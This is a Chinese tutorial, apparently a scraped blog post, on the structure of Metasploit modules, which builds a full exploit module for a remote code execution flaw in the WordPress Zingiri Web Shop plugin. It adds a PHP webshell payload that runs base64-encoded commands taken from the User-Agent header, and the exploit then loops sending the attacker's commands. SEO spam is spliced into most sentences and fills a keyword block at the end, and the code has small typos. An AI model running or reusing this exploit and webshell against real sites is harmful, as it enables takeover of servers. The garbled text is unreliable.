软件开发定制Metasploit Framework的 module 模板结构

Metasploit Framework简称msf,软件开发定制是一个平台,软件开发定制集成大量可用于渗透测试的模块,软件开发定制并且提供了模块的统一编写规范,软件开发定制可自行按照规范编写模块,软件开发定制并允许在自己的模块包软件开发定制含平台中的其他模块,软件开发定制最后把模块集成到 msf 中即可使用。因此,msf 既是一款工具,也是一个平台。

exploit模板

msf 的模块主要用 语言编写,为什么是主要呢?因为在新版本中也给出了 python 的模板。

以实现 exploit 模块为例子,官方给出的针对 web 服务的模板文件在 metasploit-framework/modules/exploits/example_webapp.rb。

简化一下模板:

  1. #
  2. # 编写一个web的exploit模块,首先要继承 Msf::Exploit::Remote;
  3. # 如果编写 auxiliary 模块,就继承 Msf::Auxiliary。
  4. #
  5. class MetasploitModule < Msf::Exploit::Remote
  6. # Rank 表示这个模块的可靠性,根据目标范围、利用条件、利用难度设置的等级,NormalRanking表示
  7. # 这个模块针对的是目标系统的特定版本,并且不能有效地自动探测。
  8. Rank = NormalRanking
  9. #
  10. # 这个模块针对的是 web 服务,因此需要包含 HttpClient 模块与目标服务器交互,包含之后
  11. # 就给这个模块提供了几个参数的设置:RHOSTS、RPORT、SSL、VHOST。
  12. # 如果用过 msf 的话,应该知道它们分别是目标的主机名,端口,是否开启SSL,HTTP-Host头部。
  13. #
  14. include Msf::Exploit::Remote::HttpClient
  15. # 初始化方法,模块加载时首先执行
  16. def initialize(info = {})
  17. super(
  18. # 有关模块的描述信息
  19. update_info(
  20. info,
  21. 'Name' => 'Sample Webapp Exploit',
  22. 'Description' => %q(
  23. This exploit module illustrates how a vulnerability could be exploited
  24. in a webapp.
  25. ),
  26. 'License' => MSF_LICENSE,
  27. 'Author' =>
  28. [
  29. 'h00die <mike@stcyrsecurity.com>', # msf module
  30. 'researcher' # original PoC, analysis
  31. ],
  32. 'References' =>
  33. [
  34. [ 'OSVDB', '12345' ],
  35. [ 'EDB', '12345' ],
  36. [ 'URL', 'http://www.example.com'],
  37. [ 'CVE', '1978-1234']
  38. ],
  39. 'Platform' => ['python'],
  40. 'Privileged' => false,0
  41. 'Arch' => ARCH_PYTHON,
  42. 'Targets' =>
  43. [
  44. [ 'Automatic Target', {}]
  45. ],
  46. 'DisclosureDate' => '2013-04-01',
  47. 'DefaultTarget' => 0
  48. )
  49. )
  50. # 参数的注册,在这里可以为之前包含的模块设置默认参数,例如这里设置 HttpClient 的 RPORT,
  51. # 也可以再添加一些需要的参数,以提供给后续运行的方法使用。
  52. register_options(
  53. [
  54. Opt::RPORT(80),
  55. OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
  56. OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
  57. OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
  58. ], self.class
  59. )
  60. end
  61. #
  62. # check方法是在真正漏洞利用之前,检查目标系统是否满足漏洞利用的条件,例如主机是否在线、
  63. # 软件版本、服务版本等等。
  64. # 在 msf 执行 check 后,运行这个方法。
  65. #
  66. def check
  67. #
  68. begin
  69. .......
  70. end
  71. Exploit::CheckCode::Safe
  72. end
  73. # exploit方法是编写漏洞利用代码的位置,这个方法用于完成整个漏洞利用的过程,例如给目标主机发送哪
  74. # 些数据,根据目标的响应结果再发送哪些数据,等等。经过一次或多个的交互,完成漏洞利用。
  75. # 在 msf 执行 exploit 或 run 后,运行这个方法。
  76. def exploit
  77. begin
  78. .......
  79. end
  80. end
  81. end

根据exp实现一个exploit模块

exp来源:

先实现一个 payload 模块,提供webshell的php代码:

  1. require 'msf/core'
  2. require 'msf/core/payload/php'
  3. require 'msf/core/handler/bind_tcp'
  4. require 'msf/base/sessions/command_shell'
  5. module MetasploitModule
  6. include Msf::Payload::Php
  7. include Msf::Payload::Single
  8. def initialize(info = {})
  9. super(merge_info(info,
  10. 'Name' => 'PHP Simple Shell',
  11. 'Description' => 'Get a simple php shell',
  12. 'Author' => [ 'binghe911' ],
  13. 'License' => BSD_LICENSE,
  14. 'Platform' => 'php',
  15. 'Arch' => ARCH_PHP,
  16. 'Privileged' => false
  17. ))
  18. end
  19. # 返回 webshell 的php代码
  20. def php_shell
  21. shell = <<-END_OF_PHP_CODE
  22. <?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_USER_AGENT]));die; ?>
  23. END_OF_PHP_CODE
  24. return Rex::Text.compress(shell)
  25. end
  26. #
  27. # Constructs the payload
  28. #
  29. def generate
  30. return php_shell
  31. end
  32. end

然后实现 exploit 模块,不详细介绍 exp 的原理,大概就是目标wordpress系统的 zingiri 插件存在创建任意代码的 php 脚本,导致可以写入 webshell:

  1. # 包含 msf 的核心代码,使用它所提供的模块
  2. require "msf/core"
  3. class MetasploitModule < Msf::Exploit::Remote
  4. Rank = ExcellentRanking
  5. include Msf::Exploit::Remote::Tcp
  6. include Msf::Exploit::Remote::HttpClient
  7. def initialize(info = {})
  8. super(
  9. update_info(
  10. info,
  11. 'Name' => 'Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit',
  12. 'Description' => %q{
  13. This module exploits Remote Code Execution in the Wordpress,blogging software which install the Zingiri Web Shop plugin <=2.2.3 version
  14. },
  15. 'License' => MSF_LICENSE,
  16. 'Author' =>
  17. [
  18. 'lukesun629@gmail.com', # msf module
  19. 'lekusun629' # original PoC, analysis
  20. ],
  21. 'References' =>
  22. [
  23. ],
  24. 'Platform' => 'php',
  25. 'Privileged' => false,
  26. 'Arch' => ARCH_PHP,
  27. 'Targets' =>
  28. [
  29. [ 'Automatic', {}]
  30. ],
  31. 'DisclosureDate' => 'NOV9 2010',
  32. 'DefaultTarget' => 0
  33. )
  34. )
  35. # 配置了要提供的参数 URI,有关 wordpress 的 path 路径。
  36. register_options(
  37. [
  38. OptString.new('URI', [true, "The full URI path to Wordpress", "/"]),
  39. ], self.class
  40. )
  41. end
  42. def exploit
  43. begin
  44. # 获取设置的参数
  45. url = datastore['URI']
  46. remotehsot = datastore['RHOST']
  47. # 以下进行 3 次请求-响应的交互,完成webshell的写入
  48. res = send_request_cgi({
  49. 'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php",
  50. 'method' => 'GET',
  51. }
  52. )
  53. directory = res.body.scan(/currentFolderPath" value="([^"]*)"/)
  54. code = "selectedDoc[]=#{payload.encoded}&currentFolderPath=#{directory.first.first}"
  55. res = send_request_cgi({
  56. 'method' => 'POST',
  57. 'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php",
  58. 'data' => "#{code}",
  59. })
  60. cookie = res.headers['Set-Cookie'].split(";")
  61. dirname = Rex::Text.rand_text_alpha(8)
  62. res = send_request_cgi({
  63. 'method' => 'POST',
  64. 'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php",
  65. 'data' => "new_folder=#{dirname}&currentFolderPath=#{directory.first.first}",
  66. })
  67. filename = Rex::Text.rand_text_alpha(8)
  68. res = send_request_cgi({
  69. 'method' => 'POST',
  70. 'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php",
  71. 'cookie' => "#{cookie[0]}",
  72. 'data' => "value=#{filename}&id=#{directory.first.first}#{dirname}",
  73. })
  74. # 循环读取攻击者输入的命令,并发送到目标webshell中执行
  75. while(1)
  76. print "#"
  77. cmd = gets
  78. if cmd.include?("exit")
  79. break
  80. end
  81. res = send_request_cgi({
  82. 'method' => 'GET',
  83. 'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php",
  84. 'agent' => "#{Rex::Text.encode_base64("#{cmd}")}\r\",
  85. })
  86. data = res.body.split("_code_")[1]
  87. puts data.split("<!DOCTYPE")[0]
  88. end
  89. end
  90. end
  91. end

测试

把上述编写好的模块文件放置在 msf 对应的目录中,

(1)exploit模块文件放在 metasploit-framework/modules/exploits/unix/webapp 目录中,并命名为 wordpress_zingiri_plugin.rb;

(2)payload模块文件放在 metasploit-framework/modules/payloads/singles/php 目录中,并命名为 php_shell.rb。

(3)启动 msfconsole,使用 wordpress_zingiri_plugin 模块,查看要配置的参数:

(4)配置参数,以及配置 payload:

 (5)运行模块:

相关资料链接:

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发